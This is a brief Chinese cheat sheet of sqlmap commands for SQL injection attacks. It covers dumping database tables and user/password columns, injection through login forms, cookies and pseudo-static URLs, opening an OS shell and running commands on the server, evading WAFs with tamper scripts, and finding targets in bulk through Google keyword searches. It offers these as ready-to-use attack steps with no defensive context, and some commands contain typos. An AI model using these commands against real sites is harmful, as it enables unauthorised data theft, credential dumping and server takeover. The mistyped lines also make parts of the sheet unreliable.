神器SqlMap之简单的注入应用
Mysql数据库注入:
sqlmap -u "url" --dbs
sqlmap -u "url" -D 数据库 --tables
sqlmap -u "url" -D 数据库 -T 表段 --columns
sqlmap -u "url" -D 数据库 -T 表段 -C id,user,pass --dump
--------------------------------------------------------------------------
Post登陆框注入:
lmap.py -r *.txt -p tfUPass
sqlmap -u url --forms
sqlmap -u url "tfUName=1(可为任意数)&tfUPass=1(可为任意数)"
--------------------------------------------------------------------------
伪静态注入:
sqlmap -u url/x*.html --dbs
---------------------------------------------------------------------------
交互写shell及命令执行:
cmdshell:
sqlmap -u url --os-shell
指定站点类型.1.asp 2.aspx 3.jsp 4.php(default)
指定站点根目录:盘符/目录/
命令执行:
sqlmap -u url --os-cmd=ipconfig
指定站点类型.1.asp 2.aspx 3.jsp 4.php(default)
指定站点根目录:盘符/目录/
--------------------------------------------------------------------------
Cookie注入:
sqlmap -u "url" --cookie "id=" --table --level 2
sqlmap -u "url" --cookie "id=" --clumns -T 表段 --level 2
sqlmap -u "url" --cookie "id=" --dump -T 表段 -C "user,pass" --level 2
--------------------------------------------------------------------------
请求延时注入:
sqlmap --dbs -u usr/x*.html --delay 1(时间,可随意)
sqlmap --dbs -u usr/x*.html --safe-freq 1(次数,可随意)
--------------------------------------------------------------------------
绕过WAF防火墙:
sqlmap -u url -v 3 --dbs --batch --tamper "space2morehash.py"
1.space2hash.py 2.base64encode.py 3.charencode.py
--------------------------------------------------------------------------
Google批量检测注入:
sqlmap -g 关键词